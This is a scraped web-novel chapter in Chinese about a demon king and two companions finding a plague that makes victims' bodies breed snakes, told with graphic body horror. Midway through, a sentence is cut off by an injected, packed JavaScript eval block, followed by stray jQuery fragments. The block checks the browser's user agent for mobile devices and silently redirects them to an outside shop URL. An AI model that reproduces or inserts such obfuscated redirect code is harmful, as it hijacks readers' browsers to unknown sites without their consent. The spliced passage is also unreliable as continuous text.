文趣网 > 其他小说 > 死遁后前夫竟成我师尊 > 26. 疾疫
    “既然蛇血是真的,那我就暂时相信你说的话。”瓷瓶在指尖打了个转,妥帖滑进她的衣领内侧:“东西我收下了,至于东郊的时疫,不是很紧急吗?现在就走。”

    直觉这次疫情不简单,白堂雪马不停蹄收拾包袱,却被一把扇子拦下。

    “可是天快黑了,不方便赶路。而且那个地方甚是古怪,一旦进入地界,大部分法术都会失效,到晚上很危险。”孙云旗打了个哈欠,似乎有些倦怠:“入夜,各派弟子都会撤出东郊,我们现在过去,不是往枪尖上撞吗?”

    自她丢失妖身以来,人间乱象陡生。祸乱千万,最惧时疫。不管天灾还是人祸,最终都会归到一个病字上。

    洪水褪去,战争止息,无数尸体残魂堆积,最易生瘟疫与怨气。何况这次的时疫与妖族有关,若不及时制止,后患无穷。

    “难道仙门弟子不用法术便寸步难行了吗?”推开那人的扇子,白堂雪不禁哂笑道:“两族的关系本就岌岌可危,我再不去看看,接下来不知道还有什么锅会扣在妖族头上。”

    仙门背地里打的小主意她也略知一二,若不是净化怨气需要这帮修士的帮助,她早就拿他们去喂狗了。

    没理会孙云旗的劝阻,她头也不回地踏出太医署的大门,径直朝东郊赶去。

    西天乌云密布,黑压压地在头顶翻滚,夕阳拼命苟延残喘,将云团撕成皴裂的大地。金光从支离破碎的云隙里透出来,被晚霞染成数条红绸,宛若生命发源之初的血丝,紧紧攀附在洁白的雪被上。

    烈风忽起,枯枝折腰,栖在树上的寒鸦惊飞,卷起一叠不知疲倦的纸钱,洒向一方摆满了驱邪符箓和八卦镜的小土包。红烛在浓雾中伫立,滚烫的蜡泪滴至镜面,霎时咧开一张血盆大口,不知餍足地吞噬着坟头仅存的生机。

    夜雾浓郁,白堂雪走在村道上,湿答答的水汽仿佛一块密不透风的手巾,直往脸上糊,闷得她喘不过气。

    “一个人都没有,白姑娘,我们还是回去吧。”孙云旗亦步亦趋地跟在她身后,声音虚浮飘渺,仿佛与浓雾融为一体。

    “孙医正,我并没有强迫你与我同行,是你自己非要跟来的。”头也没回地回复道,白堂雪逐渐失去耐心。

    这人一看自己不听劝,跟个狗皮膏药一样贴了上来。东郊离西京不过十里地,他一路上打了不下十次退堂鼓。

    “名义上你好歹是我手底下的人,出了事我要被问责的。”换了副关切的口吻,孙云旗唉声叹气道:“我现在还打不过梅墨烛,你死了他会拉我陪葬。”

    “不是说与妖族有关吗?怎么走了许久没见一只妖的影子。”

    四周荒凉得出奇,五步开外难辨形迹,白堂雪不禁怀疑自己是不是迷路了。

    “不是说妖族直接害人得病,而是人染病逐渐变成妖族。”孙云旗不紧不慢道。

    这人难得说了句有用的话,但她还是听得一知半解。

    “救救我……”浓雾中忽地伸出一只黢黑的手掌,死死拽住她的衣角。

    鲜血蜿蜒成一道触目惊心的红,从远处延伸至她脚下,在地上干涸成狰狞的微笑。

    那人拼命抬起头颅,仿佛消耗了所有的力气。他的眼窝中镶嵌着绝望和麻木,却忽然迸射出与身躯截然相反的生命力。虔诚地望向高处的二人,他双手合十,仿佛在叩拜某位神祇。

    应该是这附近的病人,不知怎么就爬到了他们跟前。

    白堂雪自认见过不少垂死挣扎的人类,却还是被眼前的病人吓了一条。

    “我会救你。”她蹲下身子,将那人从地上扶起,无意中瞥见他的肚腹,全身血液刹那冻住,僵在原地久久不曾动作。

    那人的腹部在毒液的侵蚀下烂了个口子,不断散发出腥臭香甜混合的怪异气味。密密麻麻的小蛇在溃烂的皮肉下蠕动,发出声声尖啸,既像婴孩,又似雏鸟。

    “姑娘,你怎么了。”那人顺着她凝滞的目光看去,旋即发出一道凄厉的惨叫:“啊啊啊妖怪!走开!”

    干瘪的手掌抓住小蛇往外扔,却发现怎么扔都扔不完。他心一横,掀开摇摇欲坠的皮肉,满腹小蛇像熟透的果子似的,唰唰往外涌。

    “走开!都给我走开!”那人终于掏空了肚腹中的小蛇,渐渐安静下来。

    可他的内里,分明空无一物,内脏早已被吃光,胃袋和肠子膨胀成一个蹴鞠,透过青红间杂的内壁,依稀可见正在蠕动的小蛇。

    “砰——”有什么东西好像炸开了,悉悉窣窣的微小动静霎时汇成嘈杂的细语,吵得她耳朵疼。

    “姑娘,救救我……我好痛……咯咯咯——”痛苦的呻吟拧成了一个不似人声的怪异声响,那人不知哪来的力气,以一个极其诡异的姿势从地上站了起来,红色的瞳仁直勾勾地盯着白堂雪。

    寒风贴着她的耳廓刮过,一道红线霎时横亘在那人脖颈,旋即汩汩涌出鲜血来。

    “啊——”伴随着一声凄厉惨叫,枯爪悬停于白堂雪脖颈前半寸。

    那人眼珠中的红光霎时熄灭,变回浑浊的死白。

    “我提醒过你的吧,晚上很危险。”徐徐拭去扇缘的鲜血,孙云旗眯眼笑了笑。

    “孙医正,你不是大夫吗?”这人手起刀落,利索程度堪比刽子手,白堂雪不禁咋舌。

    “他已经没救了。我不忍心看着他去死,所以亲手送他一程。”

    眼中满是淡漠和疏离,他嫌恶地蹙着眉。

    忽然,地上的四肢开始抽动,残存的皮肉不规则地鼓囊起来,仿佛卡死的机括强行运转。

    “躲开!”肩膀猛然被一道不容拒绝的力量箍住,拉得白堂雪一个趔趄。

    “啪”的一声,扭曲的身体倏尔炸开,肢体的残骸四散掉落。

    “太上敕令,超汝孤魂。”梅墨烛双手掐诀,忽地出现在她身侧,低声念诵往生咒。

    满地小蛇发出婴孩哭泣般的凄厉尖叫,蜷曲的身

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740703|208100||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    子疯狂跳动,像被烈焰焚烧似的,最终缩成干瘪焦黑的一团,消散于寒风中。

    “他死得真不是时候,你来得也不是时候。”看着满地零落的四肢,孙云旗懊丧地揉着眉心。

    “东郊天象有异,掌门怕你扛不住,派我来支援。”淡淡地扫了他一眼,梅墨烛没好气道。

    日思夜想的身影赫然出现,白堂雪喜出望外,旋即担忧道:“那宫里的事情怎么办?”

    这人现在是西膳房的厨官,若长时间失踪,很难不令人生疑。

    “让芸儿变作我的模样做几天菜,能应付过去。”

    梅墨烛蹲身检查残骸的情况,沿着地上的血迹朝雾里走去。

    远处,一支残烛在寒风中摇曳,强撑着照亮屋舍,等待主人的归来。

    桌案上放着的半碗菜汤,泛出一股令人作呕的酸腐气。几只苍蝇漂浮在汤面上,与四周的油点融为一体,在烛光下泛着油光水滑的光泽。

    “你们方才都看到了,这病奇怪得很,人的身体成为孕育蛇种的温床。”

    孙云旗状若癫狂,喋喋不休地朝他们解释,活像冷宫里疯了的妃子。

    仿佛被突如其来的人声吓得一阵瑟缩,屋内烛火愈发委顿起来。

    “刚才那个病得太重,轻症病人应该是这样的……”忽地顿住话头,他扫视着屋内的情况,眼睛落到某点时倏尔一亮:“这不巧了吗?说什么来什么。”

    一名面色惨白的女子蜷缩在角落里,嘴中念念有词:“撕掉……全部撕掉……不能变成妖怪……”

    女子裸露在外的皮肤隐约透出蛇鳞的形状,在她的胡乱抓挠之下,一层透明的蛇蜕撕扯脱落,上面还沾着大块皮肤碎肉,滴滴答答流着血水。

    “乖,这不能撕,我们先放回去好不好?”脸上挂着一个标志性的微笑,孙云旗缓缓蹲下身子,以迅雷不及掩耳之势封了女子关键穴位,确认她睡着后才松了口气。

    “轻症病人你们也见到了。敢问妖王殿下,您有什么头绪吗?”

    只是普通问询的口吻,白堂雪却莫名听出几分责备。

    “此地的界门是不是松了?”在回答孙云旗的问题之前,她必须要确认这件事。

    妖族的生存领地本就与人族重合在一起,通过四扇界门分隔于不同位面。界门由历代妖王守护,如今妖族怨气肆虐,她这个妖王流落在外。界门失守,妖都的一些特殊物质逸散进入人间,造成灾难性的后果。

    “是的。”一道青色身影踏雾而来,倏尔钻入屋中。

    滕青不知何时站在她的身后,施施然向其余两人行礼致歉:“维持界门所耗力量甚大,我的修为比不得阿雪,不小心给你们添麻烦了。”

    直勾勾地盯着滕青,孙云旗故作惊讶:“到底是力有不逮还是借题发挥,真是不好猜呢。”

    面对怀疑的目光,滕青不欲解释:“若是仙君能助妖族重修界门,他们的病我倒是有办法医治。”